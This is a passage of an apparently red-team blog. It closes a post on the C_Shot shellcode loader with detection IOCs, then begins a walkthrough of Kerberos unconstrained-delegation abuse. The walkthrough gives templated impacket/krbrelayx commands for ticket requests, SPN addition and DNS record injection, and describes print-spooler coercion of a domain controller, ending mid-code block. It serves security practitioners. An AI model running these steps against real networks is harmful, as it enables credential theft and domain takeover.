<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;">I put some references at the bottom that give better detection guidance around detecting the behaviors themselves, for example, parent process spoofing. Under this section I will however talk about a few quick IOCs inside the default C_Shot program itself.</span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;">1. Uses PAGE_EXECUTE_READWRITE for all memory protections. This was done on purpose and should be a red flag as very few programs have memory ranges with the memory protection of PAGE_EXECUTE_READWRITE. </span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;">2. When making a web request to retrieve a remote payload you should see "cshot/1.0" in the request. This should also be an immediate red flag.</span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;">3. Lastly, there has been no effort in the public release to do any form of API hiding, string obfuscation, memory protection tricks etc. Static analysis of the tool should make it pretty easy to spot if no modification has been done.</span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b style="font-size: x-large;"><br /></b>
<b style="font-size: x-large;">Conclusion</b></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Hopefully after reading this blog you have begun to realize how you might be able to utilize a concept like C_Shot during your engagements to execute shellcode to bypass AV/EDR or better yet, started to think of ways you could build upon the concepts shown and build something even better. Till next time and happy hacking!</span><br />
<h4 style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>References:</b></span></div>
<div style="font-weight: 400;">
<span style="font-size: large;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: small;"><br /></span></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-weight: 400;">Modern Detections for Shellcode Injection </span><span style="font-size: large;"><span style="font-size: small; font-weight: 400;">- </span></span><a href="https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html" style="font-weight: 400;">https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html</a></span><br />
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">Detecting Parent Process Spoofing</span><span style="font-family: "calibri" , sans-serif;"> - </span><a href="https://blog.f-secure.com/detecting-parent-pid-spoofing/" style="font-family: arial, helvetica, sans-serif;">https://blog.f-secure.com/detecting-parent-pid-spoofing/</a></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Link to tools released:</b></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">C_Shot- <a href="https://github.com/anthemtotheego/C_Shot">https://github.com/anthemtotheego/C_Shot</a></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">SharpExec</span><span style="font-family: "arial" , "helvetica" , sans-serif;"> - </span><a href="https://github.com/anthemtotheego/SharpExec" style="font-family: arial, helvetica, sans-serif;">https://github.com/anthemtotheego/SharpExec</a></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">SharpCradle</span><span style="font-family: "arial" , "helvetica" , sans-serif;"> - </span><a href="https://github.com/anthemtotheego/SharpCradle" style="font-family: arial, helvetica, sans-serif;">https://github.com/anthemtotheego/SharpCradle</a></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">SharpNado</span><span style="font-family: "arial" , "helvetica" , sans-serif;"> - </span><a href="https://github.com/anthemtotheego/SharpNado" style="font-family: arial, helvetica, sans-serif;">https://github.com/anthemtotheego/SharpNado</a></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="font-weight: 400;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">SharpSploitConsole - <a href="https://github.com/anthemtotheego/SharpSploitConsole">https://github.com/anthemtotheego/SharpSploitConsole</a></span></div>
</div>
</h4>
</div>
</div>
<div style="line-height: 1.15;">
<div style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
</div>
</div>
</div>
</div>
</div>
AnthemToTheEgohttp://www.blogger.com/profile/10525470231345792074noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-71589869856661762632019-12-20T10:20:00.043-06:002020-06-15T19:54:55.064-05:00No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">There are a ton of great resources that have been released in the
past few years on a multitude of Kerberos delegation abuse avenues.<span style="line-height: 1.15;"> </span>However, most of the guidance out there is
pretty in-depth and/or focuses on the usage of @Harmj0y’s Rubeus.<span style="line-height: 1.15;"> </span>While Rubeus is a super well-written tool
that can do quite a few things extremely well, in engagements where I’m already
running off of a primarily Linux environment, having tools that function on
that platform can be beneficial.<span style="line-height: 1.15;"> </span>To that
end, all the functionality we need to perform unconstrained, constrained, and
resource-based constrained delegation attacks is already available to us in the
impacket suite of tools. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">This post will cover how to identify potential delegation attack
paths, when you would want to use them, and give detailed <span style="font-family: calibri, sans-serif; line-height: 1.15;">walkthroughs</span> of how
to perform them on a Linux platform.</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">
</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">What we won’t be covering in this guide is a detailed background of
Kerberos authentication, or how various types of delegation work in-depth, as there are some
really great articles already out that go into a ton of detail on the
inner-workings of the protocol.</span><span style="font-family: calibri, sans-serif; line-height: 1.15;"> </span><span style="font-family: calibri, sans-serif; line-height: 1.15;">If you
are interested in a deeper dive, the most comprehensive & enlightening post
I’ve read is @Elad_Shamir’s write-up: </span><a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" style="line-height: 1.15;">https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html</a><span id="goog_819554860"></span><a href="https://www.blogger.com/"></a><span id="goog_819554861"></span>
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="line-height: 1.15;"> </span><o:p></o:p></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="line-height: 1.15;"><br /></span></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="line-height: 1.15;"><br /></span></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="line-height: 1.15;"><b style="line-height: 1.15;"><font size="5" style="line-height: 1.15;">Unconstrained Delegation</font></b></span></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><br /></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">What Is It?</b></span></div><div class="MsoNormal" style="line-height: 1.15;">
<div style="line-height: 1.15;">
<div class="MsoNormal" style="font-family: calibri, sans-serif; line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Back in the early days of Windows Active Directory (pre-Server
2003) this was really the only way to delegate access, which at a high level
effectively means configuring a service with privileges to impersonate users
elsewhere on the network. Unconstrained
Delegation would be used for something like a front-end web server that needed
to take in requests from users, and then impersonate those users to access
their data on a second database server. </span><br />
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span>
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Unfortunately, as the name implies, these impersonation rights were not
limited to a single system or service, but rather allowed a configured account
to impersonate anyone that authenticated against it anywhere on the
network. This is due to the fact that
when an object authenticates to a service tied to an account configured with
unconstrained delegation, they send the remote service a copy of their TGT
(Ticket Granting Ticket), which allows the remote system to generate new TGS
(Ticket Granting Service / service ticket) requests at-will. These TGS’ are used for authenticating to
Kerberos-enabled services across the network, meaning that if you possess an
object’s TGT you can impersonate them anywhere on the network where you can
authenticate with Kerberos.<o:p></o:p></span></div>
<div class="MsoNormal" style="font-family: calibri, sans-serif; line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="font-family: calibri, sans-serif; line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">When To Use:</b></span></div><div class="MsoNormal" style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">If you can gain access to an account (user or computer) that is
configured with unconstrained delegation.
To identify users & computers configured with unconstrained
delegation I use pywerview, a python port of a good chunk of powerview’s
functionality (</span><a href="https://github.com/the-useless-one/pywerview" style="line-height: 1.15;">https://github.com/the-useless-one/pywerview</a><span style="font-family: calibri, sans-serif; line-height: 1.15;">)
but feel free to use whatever tools works best for you. This tool has handy
flags to pull both accounts configured with both constrained + unconstrained
delegation. In this case what we’re
really looking for is any user or computer with a <i style="line-height: 1.15;">UserAccountControl</i> attribute
that includes ‘TRUSTED_FOR_DELEGATION’.
All we’ll need at this point is a set of creds for AD to allow us to do
the enumeration. Taking a look at the
output of the check we ran below, we can see that the user ‘unconstrained’ is
configured with unconstrained delegation:</span></div>
</div>
</div>
<div class="MsoNormal" style="line-height: 1.15;"><br />
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgmbwzASEUXeNq7nJWxee7doxa-gIqaY0e2fe43AiZjL-KdlcaxSvwPXGbBvXzSWJuO1ncjABnue2SurwPYXjZkAXoEEyxPuBNqgZzVX6imYXEsrcF7w0BwSDzJwBKxfiDqCQIXX9UA6w/s1600/u1.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="193" data-original-width="830" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgmbwzASEUXeNq7nJWxee7doxa-gIqaY0e2fe43AiZjL-KdlcaxSvwPXGbBvXzSWJuO1ncjABnue2SurwPYXjZkAXoEEyxPuBNqgZzVX6imYXEsrcF7w0BwSDzJwBKxfiDqCQIXX9UA6w/d/u1.png" /></a></div>
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj75Brpskp7RY8fZCPrOYzFfZvGTMsgPy-tX8-ZAj1-gn_i6QxJ9xz23q3xCU_WBIYUjizoryR8wY_ft0soaLv-6LZfa_zoxOpe0zV3ni-F7OXZWIOuCHS-2_HHGlf_iWJ7vvLhoZ49D-o/s1600/u2.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="79" data-original-width="696" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj75Brpskp7RY8fZCPrOYzFfZvGTMsgPy-tX8-ZAj1-gn_i6QxJ9xz23q3xCU_WBIYUjizoryR8wY_ft0soaLv-6LZfa_zoxOpe0zV3ni-F7OXZWIOuCHS-2_HHGlf_iWJ7vvLhoZ49D-o/d/u2.png" /></a></div>
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<br />
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">I</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">f you have found you have access to a computer object that is
configured with unconstrained delegation, it may be easier simply to perform
the print spooler attack and extract the ticket from memory using Rubeus, as detailed
here: </span><a href="https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1</span></a><span style="font-family: calibri, sans-serif; line-height: 1.15;">. </span><span style="font-family: calibri, sans-serif; line-height: 1.15;">However, if you have access to a user account configured with
delegation or would prefer to avoid running code on remote systems as much as
possible, the following should be helpful.</span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">Process Walkthrough:</b></span></div>
<div style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><i style="line-height: 1.15;">Note:</i> This section is pretty much a direct walkthrough of the
awesome work @_dirkjan wrote up in his blog here: </span><a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/</span></a><span style="font-family: calibri, sans-serif; line-height: 1.15;">
If you’re familiar with this style of attack it’s nothing new, just a (hopefully)
fairly straightforward walkthrough of the path that I’ve had the most success
with on engagements after identifying unconstrained delegation.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">If we do end up identifying any user accounts configured with
unconstrained delegation, we’ll want to obtain Kerberos tickets we can attempt
to crack. For an account to be
configured with delegation, they also need to be configured with an SPN (Service Principal Name). This means that we should be able to retrieve
a crackable Kerberos ticket for the account using GetUserSPNs.py</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">GetUserSPNs</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: black; line-height: 1.15;">DOMAIN</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">USER</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: black; line-height: 1.15;">PASSWORD</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">request</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">user</span> <span style="color: black; line-height: 1.15;">UNCONSTRAINED_USER</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZkcF7AOs1-DWNrnxBAIpzvL5nCZcFBAeX0QyUZj519v_nrJCnvD2RP81krK-wT6o2rg98WkkmiKRTSURsHAC6TorMdwjBBDzRNzagetQhUjkCx-Pq9OyYUTtgc6kRj1GLHOkBCe-FRuU/s1600/u3.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="249" data-original-width="1340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZkcF7AOs1-DWNrnxBAIpzvL5nCZcFBAeX0QyUZj519v_nrJCnvD2RP81krK-wT6o2rg98WkkmiKRTSURsHAC6TorMdwjBBDzRNzagetQhUjkCx-Pq9OyYUTtgc6kRj1GLHOkBCe-FRuU/d/u3.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Assuming we’re able
to recover the password for an account / used another method to get admin
access on a computer configured with unconstrained delegation</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">, we
can now move on to attempting to leverage this access to get DA on the
network. We’ll start by attempting to
add an SPN to the account we have access to. This is the only part of the
attack that will require non-default settings to be configured (for a user
account), but per all the sql devs on stack exchange asking how to enable it,
it seems to be something that should be commonly turned on already. If we have access to a computer account
configured with unconstrained delegation, we can use the ‘Validated write to
DNS host name’ security attribute (configured by default) to add an additional
hostname to the object, which will automatically configure new SPN’s that will
also be configured with unconstrained delegation. We then just have to create a
new DNS record to point that new hostname to us.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">We’ll be using
dirk-jan’s krbrelayX toolkit for the rest of this process (</span><span style="font-family: arial, sans-serif; line-height: 1.15;"><a href="https://github.com/dirkjanm/krbrelayx" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">https://github.com/dirkjanm/krbrelayx</span></a></span><span style="font-family: calibri, sans-serif; line-height: 1.15;">), first using addspn.py to attempt to add a
‘host’ spn for a nonexistent system on the network. Note – it is important to ensure when you’re
adding an SPN you use the fqdn of the network, not just the hostname. You’ll see one of two messages, based on if your
account has privileges to modify its own SPN’s (above = an account with
appropriate attributes set, below = attribute not set)</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">.</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">addspn</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">u</span> <span style="color: black; line-height: 1.15;">DOMAIN</span>\\<span style="color: black; line-height: 1.15;">USER</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">p</span> <span style="color: black; line-height: 1.15;">PASSWORD</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">s</span> <span style="color: black; line-height: 1.15;">host</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">FAKESYSTEM</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">FQDN</span> <span style="color: black; line-height: 1.15;">ldap</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">//</span><span style="color: black; line-height: 1.15;">DC</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">FQDN</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhysPPKUQiMTzP2sthlW99BvMjuI3KjL578SFHE8hSReP32KNqFEeIkLxgcbIAeut5o8AMGhDiHP1zxzmytmodvuNl1fM8HzBjcjb-yo-ZXWwv_dHGj_sF6Du0E8hQ07WOIUMeLnTxYsv4/s1600/u4.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="143" data-original-width="936" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhysPPKUQiMTzP2sthlW99BvMjuI3KjL578SFHE8hSReP32KNqFEeIkLxgcbIAeut5o8AMGhDiHP1zxzmytmodvuNl1fM8HzBjcjb-yo-ZXWwv_dHGj_sF6Du0E8hQ07WOIUMeLnTxYsv4/d/u4.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
</div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTKINbzS1OQ-keuxviyc1dD1nFDOLSE67cL0sPuMsgfkARMfUFSugKouQkSzMmYSldma4iISFCozpaj7oygvVmR9Qu7JC8QhH0EmhIKLkc5j5hAhPl-OFEt4iPoexT4MVzz5d3ShBDMnM/s1600/u5.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="164" data-original-width="942" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTKINbzS1OQ-keuxviyc1dD1nFDOLSE67cL0sPuMsgfkARMfUFSugKouQkSzMmYSldma4iISFCozpaj7oygvVmR9Qu7JC8QhH0EmhIKLkc5j5hAhPl-OFEt4iPoexT4MVzz5d3ShBDMnM/d/u5.png" /></a></div>
<div style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">If you don’t have privileges, this is pretty much the end of this
potential vector, although I would still recommend targeting the systems(s) on
which the account has SPN’s configured for, as they likely have TGT’s
in-memory. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">However, if we are able to successfully add an SPN for a
non-existent system we can keep going.<span style="line-height: 1.15;">
</span>Next, we’ll want to add a DNS record for this same non-existent system
that links back to our system’s IP, effectively turning our system into this
non-existent system.<span style="line-height: 1.15;"> </span>Due to the actions
we took in the last step (creating an SPN for the ‘host’ service with our user
configured with unconstrained delegation on this non-existent hostname that now
points to our system), we are basically creating a new ‘computer’ on the
network that has unconstrained delegation configured on the ‘host’ service on
it.<span style="line-height: 1.15;"> </span><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">We’ll be using another part of the krbrelayx toolkit, dnstool.py,
to complete this step to create a new DNS record and then point it at the IP of
our attack box (Note: dns records take ~3 minutes to update, so don’t worry if
you complete this step and cant immediately ping / nslookup your new host):</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">dnstool</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">u</span> <span style="color: black; line-height: 1.15;">DOMAIN</span>\\<span style="color: black; line-height: 1.15;">USERNAME</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">p</span> <span style="color: black; line-height: 1.15;">PASSWORD</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">r</span> <span style="color: black; line-height: 1.15;">FAKESYSTEM</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">FQDN</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">a</span> <span style="color: black; line-height: 1.15;">add</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">d</span> <span style="color: black; line-height: 1.15;">YOUR_IP</span> <span style="color: black; line-height: 1.15;">DC_HOSTNAME</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_AqSXBIXuT9lrmWtLiGT3gZsYsVOkATnN9AhihAL0WitmLJzzYxA9Sxpsej_JexaQ87RKg-xKutXH4Y5WeOHUIc0j0JDB0HPWueDoJwCfKkTM1W672Ms66U_ajyl1oRxlZcbAEcyaxh4/s1600/u6.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="141" data-original-width="1071" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_AqSXBIXuT9lrmWtLiGT3gZsYsVOkATnN9AhihAL0WitmLJzzYxA9Sxpsej_JexaQ87RKg-xKutXH4Y5WeOHUIc0j0JDB0HPWueDoJwCfKkTM1W672Ms66U_ajyl1oRxlZcbAEcyaxh4/d/u6.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Everything should be ready to go now, we’ll execute the print
spooler bug to force the DC$ account to attempt to authenticate to the host
service of our new ‘computer’ that is configured with unconstrained
delegation. This will in turn cause the
DC to provide a copy of its TGT when authenticating, which we can then use to
impersonate it on any other Kerberos-enabled service. In one window we’ll set up krbrelayx.py as
follows: **This is very important** the
krbsalt is the FQDN of the domain in ALL CAPS, followed immediately by the
username (case-sensitive). The Krbpass
is the user’s password, nothing crazy there.</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
